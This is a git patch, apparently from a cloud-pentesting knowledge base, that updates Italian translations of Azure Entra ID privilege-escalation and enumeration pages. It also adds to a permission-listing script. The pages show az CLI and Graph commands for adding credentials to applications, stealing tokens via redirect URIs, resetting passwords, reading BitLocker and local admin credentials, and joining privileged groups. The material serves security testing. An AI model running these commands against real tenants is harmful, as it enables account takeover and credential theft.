From 8b7cdfa3a2c797bbf24b3443e0c469e29031cecb Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 1 Mar 2026 20:34:34 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur --- .../az-entraid-privesc/README.md | 120 +++++++----- .../azure-security/az-services/az-azuread.md | 173 +++++++++++------- 2 files changed, 185 insertions(+), 108 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 02476925b..804805cfe 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Nota che **non tutti i permessi granulari** che i ruoli predefiniti hanno in Entra ID **sono eleggibili per essere usati nei ruoli personalizzati.** +> Nota che **non tutte le autorizzazioni granulari** che i ruoli integrati hanno in Entra ID **sono eleggibili per essere utilizzate nei ruoli personalizzati.** ## Ruoli ### Ruolo: Privileged Role Administrator -Questo ruolo contiene i permessi granulari necessari per poter assegnare ruoli a principals e per concedere più permessi ai ruoli. Entrambe le azioni possono essere abusate per escalation dei privilegi. +Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi. - Assegnare un ruolo a un utente: ```bash @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Questo permette a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione ha permessi privilegiati, l'attaccante può autenticarsi come quell'applicazione e ottenere tali privilegi. +Questo consente a un attaccante di **aggiungere credenziali** (password o certificati) ad applicazioni esistenti. Se l'applicazione dispone di permessi privilegiati, l'attaccante può autenticarsi come tale applicazione e ottenere tali privilegi. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,7 +61,7 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Questo consente le stesse azioni di `applications/credentials/update`, ma è limitato alle applicazioni di una singola directory. +Ciò consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni di una singola directory. ```bash az ad app credential reset --id --append ``` @@ -77,9 +77,9 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Un attacker può aggiungere un redirect URI alle applications che sono utilizzate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URI per rubare i loro tokens. Nota che se lo user era già logged in nell'application, l'autentication avverrà automaticamente senza che lo user debba accettare nulla. +Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se l'utente era già autenticato nell'applicazione, l'autenticazione sarà automatica senza che l'utente debba accettare nulla. -Nota che è anche possibile cambiare le permissions che l'application richiede per ottenere più permissions, ma in questo caso lo user dovrà accettare di nuovo il prompt che richiede tutte le permissions. +Nota che è anche possibile modificare le autorizzazioni richieste dall'applicazione per ottenere più privilegi; in questo caso l'utente dovrà accettare nuovamente il prompt che richiede tutte le autorizzazioni. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" @@ -88,11 +88,11 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac ``` ### Applications Privilege Escalation -**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate loro. Un API Permission (come chiamato nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API e eseguire azioni senza un contesto utente (senza un user login nell'app), e senza che siano necessari ruoli di Entra ID per consentirlo. Pertanto, è molto comune trovare **high privileged applications in every Entra ID tenant**. +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che hanno **API permissions** di tipo **`Application`** assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nell'app), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare **applicazioni con privilegi elevati in ogni Entra ID tenant**. -Quindi, se un attaccante ha qualsiasi permission/role che permette di **update the credentials (segreto o certificato) of the application**, l'attaccante può generare una nuova credential e poi usarla per **authenticate as the application**, ottenendo tutti i permessi che l'applicazione possiede. +Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di **aggiornare le credenziali (segreto o certificato) dell'applicazione**, l'attaccante può generare una nuova credenziale e poi usarla per **autenticarsi come l'applicazione**, ottenendo tutti i permessi che l'applicazione possiede. -Nota che il blog menzionato condivide alcune **API permissions** di comuni Microsoft default applications; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile fare login come Microsoft applications. Rimane comunque possibile trovare **custom applications with high privileges that could be abused**. +Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è più possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare **applicazioni personalizzate con privilegi elevati che potrebbero essere abusate**. How to enumerate the API permissions of an application: ```bash @@ -125,7 +125,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli) +Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà Microsoft ```bash #!/usr/bin/env bash set -euo pipefail @@ -147,6 +147,32 @@ done return 1 } +get_permission_value() { +local resource_app_id="$1" +local perm_type="$2" +local perm_id="$3" +local key value +key="${resource_app_id}|${perm_type}|${perm_id}" + +value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")" +if [ -n "$value" ]; then +printf '%s\n' "$value" +return 0 +fi + +if [ "$perm_type" = "Scope" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +elif [ "$perm_type" = "Role" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +else +value="" +fi + +[ -n "$value" ] || value="UNKNOWN" +printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache" +printf '%s\n' "$value" +} + command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } az account show >/dev/null @@ -155,7 +181,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0 tmp_map="$(mktemp)" tmp_ids="$(mktemp)" -trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT +tmp_perm_cache="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT # Build unique resourceAppId values used by applications. jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" @@ -169,9 +196,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" done < "$tmp_ids" -echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions" -# Print only app permissions where the target API is NOT Microsoft-owned. +# Print all app API permissions and mark if the target API is Microsoft-owned. while IFS= read -r row; do app_name="$(jq -r '.[0]' <<<"$row")" app_id="$(jq -r '.[1]' <<<"$row")" @@ -186,14 +213,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" [ -n "$resource_name" ] || resource_name="UNKNOWN" if is_microsoft_owner "$owner_org"; then -continue +is_ms="true" +else +is_ms="false" fi +permissions_csv="" while IFS= read -r access; do perm_type="$(jq -r '.type' <<<"$access")" perm_id="$(jq -r '.id' <<<"$access")" -echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")" +perm_label="${perm_type}:${perm_value}" +if [ -z "$permissions_csv" ]; then +permissions_csv="$perm_label" +else +permissions_csv="${permissions_csv},${perm_label}" +fi done < <(jq -c '.resourceAccess[]' <<<"$rra") + +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}" done < <(jq -c '.[2][]' <<<"$row") done < <(jq -c '.[]' <<<"$apps_json") ``` @@ -203,27 +241,27 @@ done < <(jq -c '.[]' <<<"$apps_json") ### `microsoft.directory/servicePrincipals/credentials/update` -Questo permette a un attacker di aggiungere credenziali a service principals esistenti. Se il service principal ha elevated privileges, l'attacker può assumere tali privileges. +Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistenza su un service principal.\ -> Dall'API possono essere trovati con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.\ +> Dall'API possono essere trovate con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Se ricevi l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** del service principal e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire: +Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo è necessaria un'autorizzazione (`microsoft.directory/applications/allProperties/update`) che consente di eseguire: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere quei privilegi. +Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Simile alle applications, questa permission permette di aggiungere altri owners a un service principal. Possedere un service principal permette di controllare le sue credentials e permissions. +Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions. ```bash # Add new owner spId="" @@ -243,11 +281,11 @@ az ad sp owner list --id > [!CAUTION] > Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l'API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l'owner. Quindi **non puoi rimuovere gli owner al momento**. -### `microsoft.directory/servicePrincipals/disable` and `enable` +### `microsoft.directory/servicePrincipals/disable` e `enable` -Questi permessi consentono di disabilitare e abilitare i service principals. Un attaccante potrebbe usare questo permesso per abilitare un service principal a cui riesce ad accedere in qualche modo per escalate privileges. +Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere l'accesso in qualche modo, per escalate privileges. -Nota che per questa tecnica l'attaccante avrà bisogno di ulteriori permessi per poter prendere il controllo del service principal abilitato. +Nota che per questa tecnica l'attacker avrà bisogno di permessi aggiuntivi per poter take over il service principal abilitato. ```bash # Disable az ad sp update --id --account-enabled false @@ -257,7 +295,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso ad applicazioni di terze parti. +Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti. ```bash # Generate SSO creds for a user or a group spID="" @@ -283,7 +321,7 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, causando un'escalation dei privilegi. +Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation. ```bash az ad group member add --group --member-id ``` @@ -291,22 +329,22 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/owners/update` -Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare i membri e le impostazioni del gruppo, potenzialmente elevando i privilegi tramite il gruppo. +Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza e le impostazioni del gruppo, potenzialmente permettendo l'elevazione dei privilegi tramite il gruppo. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups. +**Nota**: Questa autorizzazione esclude i role-assignable groups di Entra ID. ### `microsoft.directory/groups/members/update` -Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, il che può concedere privilegi elevati. +Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Questa autorizzazione consente di aggiornare la regola di appartenenza in un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includersi in gruppi privilegiati senza un'aggiunta esplicita. +Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un'aggiunta esplicita. ```bash groupId="" az rest --method PATCH \ @@ -317,11 +355,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Nota**: Questo permesso esclude i gruppi assegnabili ai ruoli di Entra ID. +**Nota**: Questa autorizzazione esclude Entra ID role-assignable groups. ### Dynamic Groups Privesc -Potrebbe essere possibile per gli utenti elevare i privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per maggiori informazioni consulta: +Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietà per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta: {{#ref}} dynamic-groups.md @@ -331,13 +369,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Questa autorizzazione permette di reimpostare la password di utenti non amministratori, consentendo a un potenziale attaccante di elevare i privilegi su altri utenti. Questa autorizzazione non può essere assegnata ai ruoli personalizzati. +Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; pertanto questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di uno specifico dynamic group e escalate privileges. +Questo privilegio permette di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi. ```bash #e.g. change manager of a user victimUser="" @@ -353,9 +391,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Policy di Accesso Condizionale & bypass MFA +## Criteri di accesso condizionale & MFA bypass -Policy di accesso condizionale mal configurate che richiedono MFA potrebbero essere bypassate, controlla: +Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -365,7 +403,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Questo permesso consente agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso a impostazioni e dati specifici del dispositivo. +Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l'accesso alle impostazioni e ai dati specifici del dispositivo. ```bash deviceId="" userId="" @@ -376,7 +414,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Questa autorizzazione consente agli attaccanti di associare il proprio account ai dispositivi per ottenere l'accesso o eludere le politiche di sicurezza. +Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza. ```bash deviceId="" userId="" @@ -387,7 +425,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Questa autorizzazione permette agli attaccanti di leggere le proprietà delle credenziali di backup dell'account amministratore locale per i dispositivi uniti a Microsoft Entra, inclusa la password +Questa autorizzazione consente agli attackers di leggere le proprietà delle credenziali dell'account amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -402,7 +440,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Questa autorizzazione consente l'accesso alle BitLocker keys, il che potrebbe permettere a un attaccante di decrittare le unità, compromettendo la riservatezza dei dati. +Questa autorizzazione consente l'accesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati. ```bash # List recovery keys az rest --method GET \ @@ -413,7 +451,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Altre autorizzazioni interessanti (TODO) +## Altre permissions interessanti (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 7f89fdb0c..e83781f78 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -Azure Active Directory (Azure AD) è il servizio basato sul cloud di Microsoft per la gestione delle identità e degli accessi. È fondamentale per permettere ai dipendenti di effettuare il sign-in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, inclusi Microsoft 365, il portale di Azure e molte altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura dei servizi di identità essenziali, in particolare autenticazione, autorizzazione e gestione degli utenti. +Azure Active Directory (Azure AD) è il servizio cloud di Microsoft per la gestione delle identità e degli accessi. Consente agli utenti di effettuare il sign in e ottenere accesso alle risorse, sia all'interno che all'esterno dell'organizzazione, includendo Microsoft 365, the Azure portal e numerose altre applicazioni SaaS. Azure AD è progettato per fornire servizi di identità essenziali, in particolare **authentication, authorization e user management**. -Le funzionalità chiave di Azure AD includono autenticazione multi-fattore e accesso condizionale, oltre a un'integrazione senza soluzione di continuità con altri servizi di sicurezza Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità utente e consentono alle organizzazioni di implementare ed applicare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è cruciale per la gestione basata sul cloud delle identità degli utenti. +Tra le funzionalità principali di Azure AD ci sono **multi-factor authentication** e **conditional access**, oltre a un'integrazione fluida con altri servizi di sicurezza Microsoft. Queste funzionalità migliorano significativamente la sicurezza delle identità utente e permettono alle organizzazioni di implementare e far rispettare efficacemente le proprie policy di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è centrale per la gestione cloud delle identità utente. -## Enumeration +## Enumerazione -### **Connection** +### **Connessione** {{#tabs }} {{#tab name="az cli" }} @@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Quando effettui il **login** via **CLI** in Azure con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Applications, come quelle che puoi creare nel tuo account, **hanno un client id**. **Non potrai vederle tutte** nelle **allowed applications lists** che puoi vedere nella console, **ma sono consentite di default**. +Quando effettui il **login** via **CLI** in **Azure** con qualsiasi programma, stai usando un'**Azure Application** da un **tenant** che appartiene a **Microsoft**. Queste Application, come quelle che puoi creare nel tuo account, **hanno un client id**. Non **potrai vederle tutte** nelle **liste delle applicazioni autorizzate** visibili nella console, **ma sono consentite di default**. -Per esempio uno **powershell script** che **authenticates** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, uno **sysadmin** potrebbe **bloccare quell'applicazione** così gli utenti non possono accedere usando tool che si connettono tramite quell'App. +Per esempio uno **powershell script** che si **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non compare nella console, un sysadmin potrebbe **bloccare quell'application** così gli utenti non possono accedere usando tool che si connettono tramite quell'App. -Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**: +Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti a Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -227,7 +227,7 @@ az account tenant list ### Utenti -Per maggiori informazioni sugli utenti Entra ID consulta: +Per maggiori informazioni sugli utenti di Entra ID consulta: {{#ref}} ../az-basic-information/ @@ -358,7 +358,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtab }} {{#endtabs }} -#### Cambia la password dell'utente +#### Cambia password utente ```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force @@ -366,7 +366,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -È altamente consigliato abilitare MFA per ogni utente; tuttavia, alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente verrà **richiesto MFA se** effettua il login da una posizione specifica, browser o **in certe condizioni**. Queste policies, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla: +Si raccomanda vivamente di aggiungere MFA a ogni utente; tuttavia alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente sarà **richiesto MFA se** effettua l'accesso da una posizione specifica, da un browser specifico o per **una determinata condizione**. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Gruppi -Per maggiori informazioni sui gruppi Entra ID consulta: +Per maggiori informazioni sugli Entra ID groups consulta: {{#ref}} ../az-basic-information/ @@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### Aggiungi utente al gruppo -I proprietari del gruppo possono aggiungere nuovi utenti al gruppo. +I proprietari del gruppo possono aggiungere nuovi utenti al gruppo ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\ -> Consulta come abusare dei gruppi dinamici nella pagina seguente: +> I gruppi possono essere dinamici, il che significa sostanzialmente che **se un utente soddisfa certe condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\ +> Controlla come abusare dei gruppi dinamici nella pagina seguente: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Per maggiori informazioni sui Service Principals di Entra ID consulta: +Per maggiori informazioni sui service principals di Entra ID consulta: {{#ref}} ../az-basic-information/ @@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Il proprietario di un Service Principal può cambiare la sua password. +> L'Owner di un Service Principal può cambiare la sua password.
-Elenca e prova ad aggiungere un client secret per ogni Enterprise App +Elenca e prova ad aggiungere un client secret in ogni Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -709,16 +709,17 @@ Write-Output "Failed to Enumerate the Applications." ### Applicazioni -Per maggiori informazioni sulle Applicazioni consulta: +Per maggiori informazioni sulle Applicazioni, consulta: {{#ref}} ../az-basic-information/ {{#endref}} -Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni: +Quando viene generata un'App vengono assegnati 3 tipi di permessi: -- **Autorizzazioni** assegnate al **Service Principal** -- **Autorizzazioni** che l'**app** può avere e usare per **conto dell'utente**. +- **Permessi** dati al **Service Principal** (via ruoli). +- **Permessi** che l'**app** può avere e usare per conto dell'**utente**. +- **API Permissions** che danno all'**app** permessi su EntraID senza richiedere che altri ruoli concedano questi permessi. {{#tabs }} {{#tab name="az cli" }} @@ -772,7 +773,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli) +Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietà di Microsoft (az cli) ```bash #!/usr/bin/env bash set -euo pipefail @@ -794,6 +795,32 @@ done return 1 } +get_permission_value() { +local resource_app_id="$1" +local perm_type="$2" +local perm_id="$3" +local key value +key="${resource_app_id}|${perm_type}|${perm_id}" + +value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")" +if [ -n "$value" ]; then +printf '%s\n' "$value" +return 0 +fi + +if [ "$perm_type" = "Scope" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +elif [ "$perm_type" = "Role" ]; then +value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)" +else +value="" +fi + +[ -n "$value" ] || value="UNKNOWN" +printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache" +printf '%s\n' "$value" +} + command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } az account show >/dev/null @@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0 tmp_map="$(mktemp)" tmp_ids="$(mktemp)" -trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT +tmp_perm_cache="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT # Build unique resourceAppId values used by applications. jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" @@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" done < "$tmp_ids" -echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions" -# Print only app permissions where the target API is NOT Microsoft-owned. +# Print all app API permissions and mark if the target API is Microsoft-owned. while IFS= read -r row; do app_name="$(jq -r '.[0]' <<<"$row")" app_id="$(jq -r '.[1]' <<<"$row")" @@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" [ -n "$resource_name" ] || resource_name="UNKNOWN" if is_microsoft_owner "$owner_org"; then -continue +is_ms="true" +else +is_ms="false" fi +permissions_csv="" while IFS= read -r access; do perm_type="$(jq -r '.type' <<<"$access")" perm_id="$(jq -r '.id' <<<"$access")" -echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")" +perm_label="${perm_type}:${perm_value}" +if [ -z "$permissions_csv" ]; then +permissions_csv="$perm_label" +else +permissions_csv="${permissions_csv},${perm_label}" +fi done < <(jq -c '.resourceAccess[]' <<<"$rra") + +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}" done < <(jq -c '.[2][]' <<<"$row") done < <(jq -c '.[]' <<<"$apps_json") ``` @@ -895,21 